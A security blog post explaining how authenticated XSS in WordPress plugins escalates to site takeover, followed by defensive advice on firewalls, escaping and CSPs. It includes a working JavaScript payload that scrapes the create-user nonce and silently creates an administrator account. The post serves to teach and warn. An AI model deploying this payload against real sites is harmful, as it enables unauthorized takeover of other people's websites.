Every XSS is a site takeover

If you are in charge of the security of one or more WordPress websites, this may be a busy period for you! With Wordfence launching an open bug bounty program covering almost every plugin in the repository, vulnerability reports in WordPress multiplied in the last few months.

The most common vulnerability reported is for sure Authenticated XSS (Cross-Site Scripting), and almost every major plugin was discovered as vulnerable:

  • CVE-2024-4619 / Elementor <= 3.21.5 - reported by Webbernaut

  • CVE-2023-6701 / ACF <= 6.2.4 - reported by Francesco Carlucci (this security issue was impacting every theme using ACF as a dependency)

  • Yoast SEO <= 20.2 - reported by Leonidas Milosis from the Yoast team

  • CVE-2023-47777 / WooCommerce <= 8.1.1 - reported by Rafie Muhammad from Patchstack

I mentioned just a few big names, but more than a thousand authenticated XSS were discovered in the last few months on hundreds of plugins, it's basically everywhere.

One common misconception about XSS that it's a low impact issue, nothing to be worried about or that requires immediate attention. And maybe this is also due to how security scanners describe the issue in the alerts:

This makes it possible for attackers to inject arbitrary web scripts in pages...

While this is technically correct, doesn't give out the whole picture, which in fact is that every XSS can lead to full site takeover! Let's see how in this blog post.

The power of JavaScript

Yes, an XSS vulnerability happens when an attacker is able to inject arbitrary scripts on a vulnerable website, but the problem is that those scripts will be executed in the browser of every visitor of the website!

To understand better the above sentence, is worth reminding that the browser is our gateway to the internet, is the place where everypage get rendered, transformed from a series of characters to a nicely presented layout. And JavaScript is a pretty unique programming language that (again) runs in the browser and is able to perform any sort of operation, including HTTP requests.

When a piece of JavaScript gets executed in the browser, it can perform all sort of actions on the victim behalf, and this means that when an administrator visits a page vulnerable to XSS, a JavaScript malware can impersonate the administrator and take advantage of his privileges to escalate the issue up to the maximum damage.

Yes, a JavaScript malware!

If you are still thinking that the scope of a JavaScript code is limited to the current page DOM, think again.

Being able to perform HTTP requests, is very easy to imagine a JavaScript malware interacting with the most sensitive pages of an application, and in the WordPress context this can be the "create user" screen, to inject a new administrator and basically take over the whole website, being able to install plugins, run code and so on...

For the non-technical reader, a JS malware could create a malicious admin account just like an amdin would, but silently and without the user performing any action but visiting a link.

I usually refrain from sharing malicious code, but this time I feel is necessary to make my point clear and show how easy can be to escalate an XSS vulnerability. So, here is a basic PoC of a JavaScript based malware that creates an admin account:

<script>
var url = "/wp-admin/user-new.php";
var admin_user = "innocent_admin";
var admin_email = "innocent_admin@domain.com";
var admin_pass = "LsTr6iQf8d8sY06";

var xhttp = new XMLHttpRequest();
xhttp.open("GET", url, false);
xhttp.send();

var html = xhttp.responseText;
var nonce = html.match(new RegExp('_wpnonce_create-user" value="' + "(.*?)" + '"'))[1];

let formData = new FormData();

formData.append("action", "createuser");
formData.append("_wpnonce_create-user", nonce);
formData.append("user_login", admin_user);
formData.append("email", admin_email);
formData.append("pass1", admin_pass);
formData.append("pass2", admin_pass);
formData.append("pw_weak", "on");
formData.append("role", "administrator");

fetch(url, {
  method: "POST",
  body: formData
});
</script>

The code is really straightforward:

  1. on the top we have the details of the new admin account

  2. the first HTTP call - xhttp.open() - retrieves the nonce, a security mechanism to prevent requests to be forged

  3. the second call - fetch() - "submits" a form to create the new admin account

Simple as that, you can even try it on a demo site, visit the page and check the new account poping up in the list of admin users!

Of course, a real life malware will not look like this! First of all the JS code would be obfuscated to make it harder to detect, and for sure you won't find hardcoded credentials in the script. But still, this gives a solid idea of how 15 lines of JavaScript code can be enough to perform a privilege escalation attack.

Considering that often low-priviledged accounts are not secured as the admin ones, or on large website the admin may not trust contributors/authors etc... this is a security threat to not underestimate.

How to defend against XSS

If you are a website owner, remember that XSS is luckily a security issue that firewalls are really good to prevent. So, having a good firewall as first line of defense is absolutely a must.

For WordPress I recommend the Wordfence Firewall (affiliate link), which is the one I use on most of the websites I protect. Despite some performance issues in the past, nowadays is stable, performant and they have the largest and more specific ruleset for WP.

If you are a software developer writing code for WordPress, apart from the golden rule - sanitize early, escape late (that you should already know), remember to use context-specific functions to escape data. One of the most common mistakes I see when I security-review code, is using generic escaping on href tags or HTML attributes, making them still vulnerable to Cross-Site scraping.

Escaping data properly can be an hard task and that's why, as a developer, makes a lot of sense taking advantage of WordPress's own core escaping functions that takes out the pain of writing complex RegEx, detect encodings, non-standard chars and so on.

If you run a mission-critical website, there are more advanced techniques (eg. CSPs) that I won't cover in this post, but it's good to know they exist!

So now you know: every XSS is a site takeover opportunity, don't leave it unfixed :)

Francesco